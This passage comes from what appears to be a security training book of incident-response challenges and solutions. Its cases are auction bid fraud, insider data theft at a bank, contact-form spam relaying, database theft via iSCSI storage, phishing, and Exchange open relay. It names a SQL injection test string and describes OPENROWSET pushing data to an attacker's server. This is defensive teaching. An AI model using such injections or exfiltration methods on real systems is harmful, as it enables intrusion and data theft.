“Whoa! There it goes!” he exclaimed, “Right to the bid page!” (See Figure C17-3.)
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Figure C17-3.   Live HTTP Headers window showing the auction bid request



“Wow. I just bid on an auction,” Adam stated.

“How did that happen?” Jimmy asked, somewhat dazed.

A light bulb went off in Adam’s head. He took a quick look at the page source and saw an odd snippet of JavaScript code hidden in the page:
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“I’ve got it! I can fix it in two minutes!” Adam exclaimed.

[image: image]   QUESTIONS

1. What is the most likely cause of the fraudulent bids?

2. Was Adam at fault for allowing this to occur?

3. What event should have triggered corrective action before the attacks?

4. How difficult will it be to correct the issue?

5. After correcting the direct cause, what other steps could be implemented to prevent a similar attack from occurring?


CHALLENGE 18

The Insider III

by Himanshu Dwivedi, iSEC Partners
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	Industry: 

	  Financial Institution




	Attack Complexity: 

	  Low




	Prevention Complexity: 

	  Low




	Mitigation Complexity: 

	  Moderate







MONDAY, JANUARY 16, 2006, 17:00

During its first news conference after several thousand customer accounts were compromised and used to commit financial fraud, Skyview Financial’s CEO issued this statement:

The 2005 FBI Computer Crime Survey indicated that 44 percent of attacks originated from inside an internal network. Our top-notch security department tells me that 44 percent is the number that is actually reported, but the number is probably between 60 and 70 percent if it includes all the attacks that are not reported; it is even worse, though, as many internal attacks are never detected.

Skyview Financial started the process of ensuring that our customer data is protected from outside attackers many years ago; however, due to the latest incident, we will begin that same aggressive process on our internal network to find potential internal malicious employees, contractors, consultants, and third-party partners. We recognize our mistake and have taken due action that has not only isolated the incident, but we have completely expired our relationship with the third party that was the root of the problem. We apologize to all our customers and will study our overseas outsourcing practices much more closely to ensure this issue never happens again.

Identity theft was a big issue in the United States, and anytime it occurred, major news coverage followed. While the number of accounts compromised and the amount of money lost was not any higher than that for other similar issues in the past by other banks, the incident with Skyview Financial involved the Social Security numbers and account numbers of two justices from the US Supreme Court. The justices had several different accounts with Skyview Financial, including their home mortgages and their retirement accounts (401k). The fact that two justices had their personal data stolen made the issue a public relations nightmare.

Years previous to the incident, Skyview had outsourced its customer service call centers for all mortgages to India. When a customer called to ask about a mortgage, the phone call would get routed to a consultant in India. This action had saved Skyview Financial millions of dollars, but the outsourcing had become an issue in the media, and Skyview management had tried to avoid it becoming a huge PR problem for the company.

TUESDAY, AUGUST 15, 2006, 08:00

The media hype over the identity theft seemed to be calming down. After Skyview’s public statement, and its subsequent move away from outsourcing overseas, companies outsourcing work to other nations had another blow to deal with in the public. Many companies followed suit after Skyview’s announcement and ended overseas outsourcing, but many companies didn’t change their systems, with interesting arguments about the issue headlining many nightly news programs. Skyview seemed to be moving ahead in the media with its very public movement away from outsourcing.

One of the conditions to which Skyview Financial agreed in order to put out of the fire with the Supreme Court justices was to have a forensic investigator from the FBI evaluate the situation and ensure that it had been solved to the government’s satisfaction. While the FBI was not Skyview Financial’s information security partner, allowing them to investigate would let the company move beyond this incident with a seal of approval from the FBI.

That morning, Geoff Wiggins, a representative from the FBI, arrived at Skyview’s New York headquarters. His job was to ensure that the security issues had been closed or mitigated to the government’s satisfaction. Geoff wanted this process to take about a week so he could return to Washington and work on more important stuff, like national security.

Geoff met with Louis Hobbs, CSO for Skyview Financial, and Aaron Yupperdovich, Skyview’s lead security engineer. Before the in-person meeting, Geoff had asked Louis and Aaron to provide the following information by the time he arrived onsite. Obtaining this information the first day would allow Geoff to analyze the results and ensure that things were moving positively for Skyview’s security practice:

[image: image]  A summary statement from Skyview that described what happened and how

[image: image]  Categories of data lost and their formats

[image: image]  Access to the customer service application that Skyview’s phone employees used

[image: image]  Type of fraud that was committed with the loss of data

Louis and Aaron agreed to cooperate fully with the FBI. They presented all the information to Geoff during the meeting and assigned him a cube next to the printer room to analyze the results. Having his own cube instead of sharing someone’s office was nice, but Geoff could hear the paper shredder running all day, which made it hard to concentrate. It was no surprise that this was one of the only cubes still vacant in the large office.

Before the meeting’s end, Geoff noticed that both Louis and Aaron seemed to be on edge and talking over each other; however, this was common when a federal outsider was asked to come in to look at data, from digital forensics to how often the bathrooms are cleaned in the lobby.

Here is the summary statement from Skyview officials that described what had happened and how:

Skyview Financial learned about the loss of customer data when several hundred customers began calling in and informing us of fraudulent transactions on their accounts. Several teams were assigned to investigate the issue and concluded that identity theft was a problem with our overseas outsourcers in India. We immediately severed all ties with the outsourcer and replaced all lost money units in any accounts that were compromised.

The following describes the type of data that was compromised:

[image: image]  Social Security number in the following format: xxx-xx-xxxx

[image: image]  Account numbers in the following format: xx-xxxxxxxxxx

[image: image]  Customer name: First.Middle.Last.Suffix

[image: image]  Customer address: Number.Street.City.State.Zipcode

[image: image]  Customer phone number: Areacode .xxx-xxxx

The following URL led to the account interface that customer service representatives used when dealing with customers (Figure C18-1): https://mortgage.customers.skyviewfinancial.Access was granted from the Skyview internal network only.
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Figure C18-1.   Skyview’s customer service application



The identity thieves had stolen the data and sold most of the information to the US mafia. The underground market for Social Security numbers and financial account information was significant. It was unknown how much money was made from selling the data to the mafia; however, it was known that more than $500,000 was transferred illegally from Skyview’s 401k accounts.

Geoff reviewed the summary information given to him and didn’t believe it was enough to close the case just yet. While he didn’t think any information was missing, he knew that he didn’t have enough information to convince the FBI that everything was OK with Skyview Financial. For that reason, he would have to ask the company to complete more detailed tasks to allow him to get a better idea of the mitigations that had been implemented. This probably meant that his one-week stay in New York was going to be extended, which he wasn’t happy about; however, he didn’t want to head back to Washington just to be asked to return to New York due to his lack of thoroughness.

He asked Skyview to complete the following tasks:

[image: image]  Create a high-level Visio diagram of the network.

[image: image]  Assess the configuration security on 10 sample servers holding sensitive information, using SecureWin2003 (http://www.isecpartners.com/tools).

[image: image]  Conduct network scans of all nodes inside the network using Nessus (http://www.nessus.org).

[image: image] Identify promiscuous network adapters inside the network using PromiscDetect (http://www.ntsecurity.nu/toolbox/promiscdetect/).

[image: image]  Identify processes on network ports inside the network, using Inzider (http://www.ntsecurity.nu/toolbox/inzider/).

[image: image] Send him logs from the biometric devices used throughout the building from 5 p.m. to 9 a.m., using the biometric devices’ log reporting tool.

First, Geoff was sent a high-level Visio diagram of the network (Figure C18-2).
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Figure C18-2.   High-level Visio diagram of the network



While only five other tasks were required, the results would take Geoff some time to go through. Because this was a case of identity theft, traditional forensic tools like the Sleuth Kit would not be useful, since Geoff was dealing with an unauthorized insider—the most overlooked attacker on a network, who is usually granted several levels of access by default. He knew, for example, that many database administrators can view account information in the clear. Furthermore, every human resource administrator could view everyone’s Social Security number in the clear. The job duties of each individual probably wouldn’t require they have access to all account numbers or Social Security numbers, but most of these staff members are given that information by default, regardless of need.

Geoff also knew that most networks are built using a flawed premise that internal networks should be open and free, just like the Internet. The difference is, however, that people publish things on the Internet that should be public (most of the time); however, information on an internal network ranges from high confidentially to public information. For this reason, Geoff used a tiered approached to sample internal networks for their security posture. He didn’t have the time or resources to understand the overall health of Skyview’s information security, but a few snapshot tests of critical and sensitive information assets would allow him to get a good enough understanding.

To complete his snapshot, he asked Skyview Financial to give him the results of the sample operating systems’ security (OS hardening), the networks’ health report (network scanning), general anomalies on the network (unknown promiscuous adapters and process attached to network ports), and the logfiles that recorded access to Skyview’s building after traditional work hours. The results of the test are shown here:

[image: image] SecureWin2003 Executed on selected sample of servers throughout the internal and DMZ networks (Figure C18-3).
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Figure C18-3.   Results from 10.92.38.12



[image: image] Nessus Executed on a selected sample of networks, including a class B scan of the internal network and a class C scan on several DMZ networks (a total of six DMZs).

[image: image] General Anomalies PromiscDetect executed on a total of 48 servers inside various DMZs. Inzider executed on a total of 48 servers inside various DMZs.

Here are selected samples of PromiscDetect results for several networks. First, 10.0.0.23:
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And for 10.0.5.84:
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And for 10.0.5.33:
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And for 10.0.5.34:

[image: image]

And for 10.0.5.24:
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And for 10.0.5.25:
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And for 10.3.15.26:
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Here are selected samples of Inzider results for 10.0.0.23:

And for 10.3.15.26:
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And for 10.0.5.33:
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And for 10.0.5.24:
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Here are the biometric logs:
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Geoff gathered all the results and sat down at his desk. This was a lot of data to parse through, and it would take some time; however, he knew being thorough would benefit the situation. About four hours into his review process, he noticed some interesting data. He walked over to Aaron’s cube and asked him a few questions.

“Aaron, your network diagram shows IPS inside the DMZ. Does Skyview have IPS or IDS devices inside the internal network also? And do your IPS devices run on UNIX or Windows operating systems, or are they network appliances from a vendor?”

“We don’t have any IDS or IPS inside our internal networks, only in our DMZs. All of our IPS appliances are two-unit network appliances. These are vendor-supplied IPS appliances,” replied Aaron.

“OK. Do you guys do any other monitoring on the network besides IPS inside the network or DMZ? For example, any network sniffing or network monitoring software?”

“Not in the security group. I know network operations uses SNMP for network monitoring, but nothing else. We only use standard software from Cisco to manage all the network devices and HP OpenView for some of the other systems.”

“OK. So, shifting gears a bit. What floors does the company have here in this building?” asked Geoff.

“We have floors 12 and 18. All IT staff is on 18 since the data center is located there, and most of the business units are on 12.”

“What time does your cleaning staff arrive and how do they get access to all the floors?”

“I think they come at around 5 every day. All cleaning staff have a badge number with a prefix of 1021, so we always know where they have been and how long they were there. We don’t want any hackers getting a job with the cleaning staff and compromising our network,” said Aaron in a somewhat joking manner.

After looking at all the evidence that was given to him and comparing it with the public statements made by Skyview Financial, Geoff felt something was off, but he wasn’t sure exactly what. The problems seemed to run much deeper that what was presented at the surface; but that is always the case in any forensic investigation. He wondered, “Is this an attack of identify theft or is it something else?”

[image: image]   QUESTIONS

1. Which items were inconsistent between Skyview’s public statements and the evidence found by the FBI?

2. What was interesting about the type of evidence that was lost? Consider the customer service application.

3. Skyview Financial gains millions of dollars per day, so why was a $500,000 loss being treated as such a big issue?

4. What did the results from the SecureWin2003 tool show?

5. What did the results of the PromiscDetect scan and the Inzider running process scan show?

6. What did the biometric logs show?


CHALLENGE 19

Jumping Someone Else’s Train

by Bill Pennington, WhiteHat Security
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	Industry: 

	  Pharmaceutical




	Attack Complexity: 

	  Easy




	Prevention Complexity: 

	  Low




	Mitigation Complexity: 

	  Low







Andres had it made; he had a cushy job as the sysadmin for a small pharmaceutical startup. He had easy hours and good pay, and once Hairfro Medical’s new hair growth drug got FDA approval, he expected to be rich and have more hair.

Andres loved working with the scientists who used Hairfro’s network. They knew as much about UNIX as Andres did, but Andres got to handle the tough, fun stuff and the scientists pretty much took care of themselves for the day-to-day tasks. When Andres started at Hairfro Medical, he was the company’s first sysadmin, and he got to build everything how he wanted—a far cry from his days at MegaBio, a 5000-person biotech firm where he was part of a 50-person sysadmin team. Heck, Andres even got to write some CGI scripts for Hairfro’s web page.

TUESDAY, JANUARY 17, 2006, 09:00

Andres finished up the last touches on his network diagram. The Hairfro network was simple and clean, just the way Andres liked it. Not much could go wrong, with only the e-mail server and web server open to the public, and Andres was methodical about keeping those servers up to date patch-wise.
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Andres had made some good choices for the software that ran the web and e-mail servers—Apache for the web server and qmail for the mail server. Both of these services had good security track records. Andres paid special attention to the e-mail server to prevent spam from entering the system. For qmail he used the tcpd server and set it so that only a select list of IP addresses could relay e-mail:
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The first line in the tcp.smtp file allowed the mail server localhost to send messages, the second line allowed the web server to send messages, and the last line allowed anyone on the Hairfro local network to send messages. The web server generated e-mail to off-domain users when they signed up for Hairfro’s free hair-growing report.

Andres used a remote network scanning service to scan his network daily. Reports had been clean every time they were generated, so Andres knew he was doing a good job with security.

By the end of the workday, Andres began to pack up after a rather uneventful day, when he got a call from Dawn in accounting.

“Is there something wrong with the mail server?” Dawn asked, without even saying hello.

“Not that I am aware of. What seems to be the problem?” Andres replied. “It’s very slow.”

“OK, Dawn, I will check it out.” Andres decided to ssh into the mail server to see what was going on:
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Andres called Dawn and explained the mail server was just sending out a lot of mail and it should get back to normal soon. “Looks like someone is sending a bunch of mail again,” he said. “Most likely some kind of marketing push.”

Andres then packed up and headed home for the night.

WEDNESDAY, JANUARY 18, 2006, 09:35

Andres decided to sleep in since everything was running smoothly at work these days. When he finally arrived at his office, his phone message light was on. He sighed as he imagined that vendors where bothering him about “upgrading” to Exchange Server or some other nonsense. Andres hit the voicemail button and began listening to his messages. He had five new messages from various people complaining about the mail server being slow. Andres now thought this might be a bigger problem that he’d assumed last night, but he decided to call Julie from marketing anyway.

“Hey, Julie, this is Andres. Are you guys sending out some marketing newsletter or something?” he asked.

“No, we’re not, but we noticed the mail server was being really slow,” Julie replied.

“Yeah…. I am looking into it right now. Thanks.”

Andres hung up the phone and decided to dig into the mail server. It was still running a bunch of qmail-send processes, so he decided to see where all that mail was going.

He logged into the mail server via ssh, sudo’ed to the root account, and begin looking through the mail server logs. Andres used grep to find all the qmail remote delivery messages in his mail.log file.
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“That seems like a lot of outbound mail to domains we usually don’t send mail to,” Andres said to himself.

His first thought was that he somehow configured the mail server to allow relaying of messages. He double-checked his /etc/tcp.smtp file:
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It still looked fine, so that meant the e-mail must be originating from either the e-mail server or the internal network. He dreaded finding an outbreak of some new crazy Outlook self-propagating worm. He decided to take a closer look at one of the messages:
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Andres did not quite understand what he was looking at; according to the mail header on this message, it originated from the web server. How was this possible? The only outside access to the web server was on port 80. The mail server running on the web server did not even listen for connections—it only forwarded mail to the internal mail server for delivery. Andres’s heart sank, because he was sure his web server had been hacked and someone had set up a clandestine mail server relay.

He decided to log in and take a look at the web server:
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“Nothing looks out of place there,” Andres thought out loud. “Let’s see what the mail server is doing.”
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“That doesn’t look good,” Andres mumbled. Mail was still flowing through the server at a steady pace. He decided to take a closer look at the listening ports:
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Andres was stumped. Nothing looked out of the ordinary on the mail server, other than it was now Grand Central Station on the spam railway. He leaned back and sighed.

“What’s up, Andres?” JoAnna asked, as she popped her head into his cube.

“Battling spammers,” he replied, trying not to sound defeated.

“Wanna grab some lunch?”

“Sure, just not any canned meat products,” Andres replied jokingly.

At lunch, he explained to JoAnna everything he had seen so far. She was on the development team working on some kind of bioinformatics—gene-splicing software. She explained it to Andres awhile back, but all he understood was that it was written in C on the Mac and ran on the company’s Xgrid setup. Andres had no clue what it did exactly.

“Sounds like you need to go back and analyze the situation from a different perspective,” JoAnna stated.

“What do you mean?”

“You have mail coming from the mail server, right?”

“Yeah…”

“Is that a normal activity?”

“Yeah, mail is fairly normal, but not spam.”

“OK. How does mail normally get from the web server to the mail server?”

“Just a simple qmail relay.”

“OK, but the server doesn’t just make mail messages, does it?”

“No. The e-mails are all generated from the contact form on the company website.”

Just then, a lightning bolt hit Andres. He had a pretty good idea what was going on. He slammed down his burrito and drove like a madman back to the office. He logged into the web server to see if his hunch was correct:
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“Argh!” Andres screamed.

[image: image]   QUESTIONS

1. Did the mail server configuration prevent relaying of mail from external sources?

2. How was the spam mail getting into the system?

3. Could the mail server software be configured to prevent this attack?

4. How else could this attack be prevented?


CHALLENGE 20

The Not-So-Usual Suspects

By Himanshu Dwivedi, iSEC Partners
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All was quiet on the digital front. The front-end web servers were humming like birds, the application servers were performing at incredible levels, and the database servers were all highly available. It was as if the data center gods were finally allowing Belwa Financial, a large financial organization, to be efficient, scalable, and, most importantly, secure with its online financial services site.

FRIDAY, NOVEMBER 30, 2005, 04:00

Sudhanshu, the IT security manager in charge of Belwa Financial’s website, was fast asleep when the phone rang. It was Belwa’s Network Operations Center manager, Sushant, in New York City. “Wake up, Neo… We have a problem.”

“OK, enough with the Matrix references,” Sudhanshu said. “What’s going on?”

“Crap…. Hold on a minute. I’m getting a phone call from the executive floor on the other line. I will call you back,” said Sushant.

Sudhanshu had stayed up late the night before celebrating the Cleveland Browns’ victory (20 to 16) over the Baltimore “Benedicts”; although it was 7 a.m. on the East Coast, it was way too early for vague phone calls on the West Coast, especially one that was interrupted by an executive. While Sudhanshu eagerly waited to hear back from Sushant, he decided to be proactive and look for the usual suspects that wake him up at 4 a.m. He grabbed his laptop and logged onto the company network. The first thing he checked was his IDS and IDP logs for any virus outbreaks melting the website or the network. He also looked at the firewall and the server logs from the web servers, applications servers, and database servers.

Twenty minutes later, Sudhanshu received another call from Sushant.

“Sudhanshu, go to CNN.com, and you’ll see why the CFO is cursing right now.”

Sudhanshu opened the website and saw the headline “East Coast Hit with 4 Feet of Snow!”

Sudhanshu said, “Why do I care about this news? The media is always East Coast-centric. You guys need to realize that it snows on the East Coast every year. Get over it!”

“No, Sudhanshu,” insisted Sushant. “Don’t look at the picture headline; look at the headline above the picture!”

The headline read “Hacker Compromises Personal Information from 400,000 Customers of Belwa Financial; Information Posted on Polish Hacker Site.”

“Oh, dear, this one is going to hurt,” said Sudhanshu.

Sudhanshu quickly gathered his stuff and headed to the office. He wanted to get there as quickly as possible, as he knew it was going to be a long day of trying to get some questions answered about this very big issue.

To prevent something like this from happening, a significant investment had been made in information security at Belwa Financial; however, something obviously went wrong. Sudhanshu wondered how this could have happened. After all the investment into security—firewall, VPNs, host hardening, encryption, application security, code reviews, endpoint security, virus/spyware monitoring— Sudhanshu was amazed that the organization could be so vulnerable to lose such a large amount of data.

He knew something must have failed, but he didn’t know what. He examined the logs, but nothing looked out of the ordinary. Personal information for 400,000 customers is not easy to get. Such a large amount of data involves a variety of applications and a variety of servers and/or network devices. As with every Fortune 500 organization, one server or application does not contain all that information in a single location.

Sudhanshu started to compile a list of servers and applications where the stolen data could have resided. He organized a list of locations to investigate further, including the following servers/applications:

[image: image]  50 Oracle databases

[image: image]  43 Microsoft SQL databases

[image: image]  22 MySQL databases

[image: image]  6 DB2 databases on the OS/390 mainframe

[image: image]  2 large PeopleSoft employee databases

These servers and applications were probably at 15 different places inside the internal network, distributed throughout the company’s various locations. Because Sudhanshu realized there was no perimeter nor any truly “internal” network anymore in any large organization, he felt the best way to approach the issue was to work from the inside out.

He first checked the database servers. Since so much data had been compromised, the location where all the data was stored was a good starting point. However, he knew that even if 1 database out of 71 that contained customer information was compromised, it would not contain all 400,000 accounts. The attacker would have had to compromise multiple databases to get that amount of data. While Sudhanshu knew that scenario was highly unlikely, it was his best guess as to what had occurred.

He searched for SQL injection issues. SQL injection attacks were so common that the testing method of ’ or 1=1;- was attempted daily on the company’s website. Although the organization invested in application-level protections, secure coding, and host hardening for its SQL servers, Sudhanshu knew that a sophisticated attacker could always find a new method to exploit old issues. While the SQL commands INSERT, UPDATE, DROP, and SELECT were attempted many times against the website, Sudhanshu was most concerned with the OPENROWSET command:
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The OPENROWSET command was not as popular as other commands, but it was far more deadly. This command would push information from one database to another, probably controlled by an attacker. If the attacker was able to execute this command successfully, it could make the internal MS SQL database send its data to an external MS SQL database out on the Internet and under the attacker’s control. Sudhanshu knew that since customer account information was stored in the databases, if an attacker was able to complete this attack on several MS SQL databases, he would have collected a significant amount of customer information.

Sudhanshu did a query of Belwa’s application IDS logs for SELECT, Master, RESTORE, OPENROWSET, and BACKUP to see if any database information was replicated. He also looked at network communication from the internal subnet, which was 172.16.0.0/16, to any other subnets, including the DHCP subnet (172.16.1.0/24) and the DMZ (10.0.0.0/16).

Here’s a summary of Sudhanshu’s application IDS inquiry:
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Here are the results from Sudhanshu’s network communication review from the internal subnet to any other subnet:
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Next Sudhanshu checked the egress points of the network for suspicious outbound traffic on the perimeter routers. If any entity inside had connections to external entities using ports 1521 (Oracle), 1433 (MS SQL), 3306 (MySQL), or 50000 (DB2), he would know right away that there was an issue. Going to the border points of the network, Sudhanshu connected to the routers and dumped the egress ACLs:

[image: image]

Sudhanshu also knew that looking at one of the many database clusters of the company might give him some kind of lead as to what might be happening. This process involved talking to the company database group. Sudhanshu walked toward the cube of the primary DBA, Larry Ellison.

“Hello, Larry. I’m sure you’ve heard about the issues we’re having. What normal activities have occurred on the database environment over the last few weeks?” asked Sudhanshu.

“You mean unusual activities?” Larry asked.

“Actually, no. For this amount of data to be stolen, an attacker would have to be in the system for a long time. I’m thinking that the attacker was probably performing some type of action that looked like normal activity, which allowed him to be in the system for a long time and not get caught. This is pretty common for sophisticated attackers.”

“Makes sense,” said Larry.

Larry connected to a variety of database servers and started to run queries based on all activities that could transfer data, move data, copy date, or even replicate data to another system. He quickly received the results and presented them to Sudhanshu.

“OK…. Let’s look for something interesting,” said Sudhanshu. The results of Larry’s queries are shown in Figure C20-1:
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Figure C20-1.   SQL application logs



It was a strange feeling, hoping to see something bad show up in the logs. On the surface level, an administrator is happy when nothing looks wrong; however, deep down most admins are hoping to find something bad to provide some type of lead when a hack has occurred.

“So what types of activities are conducted on the cluster, and what product do you use to monitor the information?” asked Sudhanshu.

“We are DBAs. We don’t use commercial products to monitor our stuff. We write our own tools to monitor our systems!” chuckled Larry. “We have a blend of scripts that tell us the latest information in all the categories we care about. We monitor a few things that are important to us. The short list of the main items is real-time monitoring, low storage space, high process utilization, connection success, connection failure, batch job failures, backup failures, successful logins, and failed logins.”

“OK. That’s good that you guys are monitoring successful items as well as failed items,” Sudhanshu said.

“Yes. The auditors told us to do that. I really don’t understand it since we only need to know who tried to get in and failed versus who got in,” stated Larry.

“Actually, you want both. For example, an account can log in successfully; however, the DBA who is attached to that account might be on vacation or may not remember logging in. While the account did log in successfully, the user controlling the account was not the DBA,” said Sudhanshu.

“OK, that makes sense. Let’s look at the summary of these activities,” said Larry.
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“Everything looks normal,” said Larry.

“Actually, why was the last successful connection attempt on November 17? The last actual login to the system was on October 21? Shouldn’t those two items have the same dates? How can you have a successful connection without a successful login?” asked Sudhanshu.

“Hmmm, that is a good question,” stated Larry.

“Also, it looks like you guys are running short on space on one of your servers,” said Sudhanshu.

“Actually, no. All of the databases are connected to our iSCSI Storage Area Network. There is never a shortage of space because we can get all the storage we want in a matter of minutes. It’s as simple as asking for more storage and getting it over the network.”

Sudhanshu gathered this information from Larry and headed back to his desk to analyze it. While it provided some interesting reading, Sudhanshu had little concrete facts about anything, even though almost eight hours had passed since the issue had been identified.

Thus far, Sudhanshu had gathered the following:

[image: image]  The application IDS did not show any activity of database transfers.

[image: image]  The only ports he saw coming from the internal subnet to the DHCP subnet were ports 3205 and 3260, the storage space.

[image: image] The egress filters were blocking all database ports, as well as SMB, TFTP, and the usual nasty stuff.

[image: image] Everything that Larry showed on the database logs was listed as normal, except the login discrepancy and the alert about the storage space.

With 400,000 angry customers, the CFO being interviewed on CNN, and the financial auditors coming on site for Sarbanes-Oxley testing, Sudhanshu was pressed for a good lead.

Sudhanshu’s cell phone rang. It was his wife, Sangeeta. She had asked him to stop by the bank to remove some items from the safe deposit box. With all the confusion of the day’s events, Sudhanshu had forgotten this. He and his wife were attending an Indian wedding that weekend that required his wife to have her Indian jewelry—all gold. He knew that an Indian wedding required a good pair of sunglasses due to all the bling-bling the women wear, along with the fancy and colorful outfits. While the CFO needed to get this issue resolved soon, Sudhanshu knew that the repercussions of not doing his wife’s errand would be far worse than those of his boss. He headed to the bank.

At the bank, he passed a long queue at the ATM machines outside, and inside saw an even longer queue. Only one teller was working, so Sudhanshu stood in line. While he was waiting, he checked out the bank’s security. He noticed video cameras inside the bank, performing similar functions that an IDS performs on a digital network. He knew video cameras were also mounted outside near the ATM machines. At least three times more cameras were placed inside the bank than outside, plus a security guard sat next to the door (similar to a firewall’s function on a digital network). This made sense to Sudhanshu, since only $300 could be removed from an external ATM, but a lot more money could be received from a bank teller, requiring more security.

When he finally reached the front of the queue, the bank teller asked a supervisor to escort him to the most secure area of the bank—the vault. Entry required that the supervisor punch in a key code, and Sudhanshu signed a sign-in sheet. Sudhanshu noticed about 10 more cameras inside the vault area as well as another security guard. The tremendous amount of security in the vault area made sense, since it contained safe deposit boxes that held irreplaceable personal items and items of high value.

Sudhanshu gave his ID and safe deposit key to the bank supervisor. The supervisor first verified Sudhanshu’s identity and then used Sudhanshu’s key and the bank’s key to open the box—both keys were required. He grabbed his wife’s jewelry and returned the box to the supervisor, who locked it and escorted him out of the vault.

While Sudhanshu was impressed by the level of security in the vault, he was amused that the big iron door of the vault area was open. He knew that most banks did this on purpose to show customers how thick and heavy the iron door was (to show customers the high level of security), but leaving it wide open just made it easier for a potential bank robber. However, a bank robber would have to be pretty slick to get something out of the vault without some inside help. While an ATM or a bank teller area required a certain level of security, access to the vault was impossible without the proper credentials because of even more security. The banking industry knew where to invest most of its security dollars. While an ATM can lose a certain amount of money, losing items from an insecure bank vault would be far more disastrous. Leaving the vault wide open to bank robbers would be allowing access to the most important and irreplaceable customer valuables, and the bank obviously knew that, considering the level of security it had provided for that area.

After leaving the bank, Sudhanshu began to walk back to his office and wondered about how 400,000 accounts could have been compromised. Suddenly, he paused. “Guidance! Source programmable guidance!” This was a quote he repeated when he solved a problem that was causing him trouble. Sudhanshu’s bank trip helped him figure out what had caused Belwa’s problems. Completing his wife’s errand actually showed him one of the biggest mistakes that Belwa Financial was making in securing its enterprise customer information.

[image: image]   QUESTIONS

1. What did the application security IDS information show?

2. What did the network communication show?

3. What was particularly interesting about Sudhanshu’s conversation with Larry Ellison?

4. What triggered Sudhanshu’s thought process during his trip to the bank?

5. What was the not-so-usual suspect? Why is this suspect rarely thought of in terms of information security?

6. What went wrong? What myths supported the issues?
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SOLUTION 1

To Catch a Phish

by David Pollino
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Back at Joe’s office, Enzo briefed his boss about the research that he performed. “The client’s online bank account was not the only thing that the phisher had access to. He was also reading Juan Pierre’s e-mail. We know how the fraudster gained the client’s information.”

“How?” Joe inquired. Then he examined the questionnaire that Enzo printed and brought in his office. “I guess the client is always the weakest link. How do you know the fraudster was reading Pierre’s e-mail?”

“Because he sent me a message. According to the attacker, the real Pierre accessed his e-mail from an Internet kiosk in Hamburg, Germany. That’s how the e-mail account was compromised. I’m about to call the client and recommend that he immediately change his e-mail password and sign up for a credit-monitoring service.” Enzo left Joe’s office.

When Enzo got back to his desk, he had received a voicemail from the fraudster, who left a “catch me if you can” challenge. Enzo was just happy that the phisher would still be taking the bus instead of rolling a Last Bank of Trust Benz.

Enzo then called the domain registrar. Since Last Bank of Trust’s physical address was listed in the registration, he arranged for the domain to be transferred to Last Bank of Trust’s control. The transfer took only a few hours, and Enzo was able to monitor the fraudulent domain mail traffic to make sure that no other clients had been affected.

Over the next few weeks, the fraudster left a few messages on Enzo’s voicemail. Last Bank of Trust forwarded the information to law enforcement. As far as Enzo knew, the fraudster was still at large, but was hopefully taking the bus.

[image: image] ANSWERS

1. The attacker registered a new domain that was similar to the legitimate domain. The attacker used that fraudulent domain to initiate contact with Juan Pierre. If Pierre checked out the fraudulent domain, his browser would display the legitimate site in a frame. The following line in the source of the fraudulent website accomplished this:
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This technique allowed the real website to be displayed, but the fraudulent domain would appear in the address bar of the victim’s browser.

A similar technique would be an HTTP redirect to the legitimate domain. This would make the fraudulent domain appear to be real and provide the client a false sense of security. Pierre would then trust the attacker; this method is similar to confidence schemes that have existed for many years.

2. No insider was involved in the attack. Pierre compromised his own personal information at the kiosk in Germany, if you believe the information provided by the attacker. The attacker likely got financial information used in the e-mail from online bank statements e-mailed to Pierre.

3. Unlike many phishing attacks, this was a very targeted attack. It did not involve other victims. Enzo was able to validate that after getting control of the fraudulent domain and reading the e-mail. In most cases, phishing attacks are more broad in nature. Therefore, it is important to get a fraudulent site removed as quickly as possible.

4. The fraudster registered the domain using the physical address of Last Bank of Trust, so Enzo was able to get the domain transferred by contacting the domain registrar and proving to the registrar that he worked for the owner of the domain. Enzo had the legal department fax over some incorporation papers and the transfer took a few hours. Alternatively, Last Domain of Trust could have sent Cease and Desist letters to the registrar and domain hosting company, hoping for their cooperation. As an alternative, outside companies offer “take-down” services. These companies have existing relationships with Internet service providers (ISPs) and multilingual staff to assist with take-down activities.

A standard process exists for resolving domain ownership disputes: Uniform Domain-Name Dispute-Resolution Policy (UDRP). This process can take weeks to complete; if outsourced, it can be expensive, costing thousands of dollars.

[image: image]   PREVENTION

Multi-factor authentication could have helped to prevent this type of attack. This could be accomplished by the use of hardware tokens, scratch cards, or out-of-band authentication mechanisms, such as a phone call or Short Message Service (SMS) to a number that has been on record for more than a month.

Recent guidance from US regulators requires multi-factor authentication for high-risk transactions. Using a second factor of authentication (first factor being the username and password) can be annoying to the client, so a mechanism for scoring high-risk transactions should be used to minimize the inconvenience to the client. The components of this transaction that should have been used to trigger additional authentication were the high dollar amount and the international destination.

[image: image]   MITIGATION

Reducing the financial loss from wire transfers is difficult. Each financial institution must implement appropriate thresholds for blocking suspicious transfers. The thresholds would kick off additional internal approvals and client authentication actions.

Financial institutions need to collaborate to share information on current scams. Scammers frequently use the same scam multiple times against different institutions. If the first attack is successful, information sharing could prevent future attacks.

ADDITIONAL RESOURCES

The Antiphishing Working Group:

   http://www.antiphishing.org

Wget:

   http://www.gnu.org/software/wget/wget.html

Firefox:

   http://www.mozilla.org/products/firefox/

Cygwin:

   http://www.cygwin.com

Take-down services:

 http://www.cyota.com
http://www.markmonitor.com


SOLUTION 2

Owning the Pharm

by Himanshu Dwivedi, iSEC Partners
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After all the spoofed e-mails had been reviewed, Shreya was able to examine the configuration of all servers. She first looked at the Exchange server, since she already knew one configuration issue existed, because open relay was enabled. First thing she did was disable open relay. She chose Start | All Programs | Microsoft Exchange | System Manager. She then expanded Servers, the server name, Protocols, and SMTP. She right-clicked Default SMTP Virtual Server and then clicked Properties. She selected the Access tab, then selected the Relay button.

The Relay Restrictions window appeared, showing that the second option was selected in the dialog box, All Except the List Below. This was odd, since the first option, Only the List Below, is the default selection. (See Figure S2-1.)
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Figure S2-1. Relay Restrictions dialog box





Whoever configured the server probably misread the setting and selected the wrong option, which allowed everyone to relay off the mail server. Once the setting was changed, Shreya studied the other settings on the Exchange server. Everything else seemed to be in order.

Shreya then shifted over to the IIS server. She saw no glaring issues; IIS 6.0 had been loaded with the URLScan security tool with all the SecureIIS settings. All IIS 6.0 security settings were enabled and all unnecessary settings and services were disabled.

Finally, Shreya asked the ISP to send her the results from the following command:
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This command would indicate whether Secure Responses was enabled on the Windows 2000 DNS servers. If Secure Responses were enabled, the DNS server would not be vulnerable to DNS poisoning attacks. If it were not enabled, the DNS server would allow DNS updates from unauthorized entities (an insecure situation), making it susceptible to DNS cache poisoning attacks.

Shreya received these results from the ISP’s DNS server:
